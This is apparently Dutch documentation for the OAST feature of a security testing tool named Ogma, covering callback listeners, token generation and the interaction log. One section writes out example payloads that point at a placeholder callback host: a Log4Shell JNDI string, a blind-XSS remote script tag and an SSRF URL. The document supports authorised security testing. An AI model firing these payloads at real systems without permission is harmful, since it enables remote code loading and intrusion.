OAST
OAST (Out-of-Band Application Security Testing) detecteert kwetsbaarheden die geen zichtbaar antwoord opleveren. In plaats daarvan maakt het doel een uitgaande verbinding met een listener die jij beheert, waarmee het probleem wordt bevestigd.
Hoe het werkt
Ogma voert lokale listeners uit voor meerdere protocollen. Wanneer een doelapplicatie contact maakt met een van deze listeners, wordt de interactie vastgelegd met het bron-IP-adres, de tijdstempel, de ontvangen gegevens en het geïnjecteerde token.
Listenerprotocollen
| Protocol | Standaardpoort | Toepassing |
|---|---|---|
| HTTP | Configureerbaar | SSRF, blinde XSS, webhooks |
| HTTPS | Configureerbaar | SSRF via TLS |
| DNS | Configureerbaar | Blinde injectie, XXE, log4shell |
| SMTP | Configureerbaar | E-mailheaderinjectie, SSRF naar maildiensten |
Configureer de listenerpoorten en de domeinnaam voor gegenereerde tokens in het OAST-instellingenpaneel.
Een callbacktoken genereren
- Open Hulpprogramma's > OAST.
- Klik op + Nieuw en vervolgens op Aanmaken. Elk token is uniek voor een test.
- Kopieer het token. Het bevat je listenerdomein en een unieke identificatie, zodat interacties aan de specifieke test kunnen worden gekoppeld.
Voorbeeld van het tokenformaat: [unique-id].[your-oast-domain]
Tokens in payloads gebruiken
Injecteer het callbacktoken in elk veld waarin de applicatie een uitgaande verbinding zou kunnen maken:
- SSRF: gebruik het HTTP-/HTTPS-token als doel-URL:
https://[token]/ - XXE: verwijs naar het token in een DOCTYPE of URL van een externe entiteit.
- Log4Shell: neem het op in een header:
${jndi:ldap://[token]/a} - Blinde XSS: injecteer het als script-src:
<script src="https://[token]/x.js"></script> - SMTP-injectie: gebruik het als bestemmingsadres of URL in e-mailheaders.
Interactielogboek
Het interactiepaneel toont elke ontvangen callback:
| Kolom | Beschrijving |
|---|---|
| Tijd | Wanneer de interactie is ontvangen |
| Protocol | HTTP, HTTPS, DNS of SMTP |
| Bron-IP | IP-adres dat de verbinding heeft gemaakt |
| Token | Met welk token contact is gemaakt |
| Gegevens | Verzoekpad, DNS-querynaam of SMTP-gegevens |
Klik op een rij om de volledige interactiedetails te bekijken, inclusief verzoekheaders en body waar van toepassing.
Interacties aan tests koppelen
Omdat elk token uniek is, kun je verschillende tokens in verschillende parameters of verzoeken injecteren en precies bepalen welk injectiepunt de callback heeft veroorzaakt.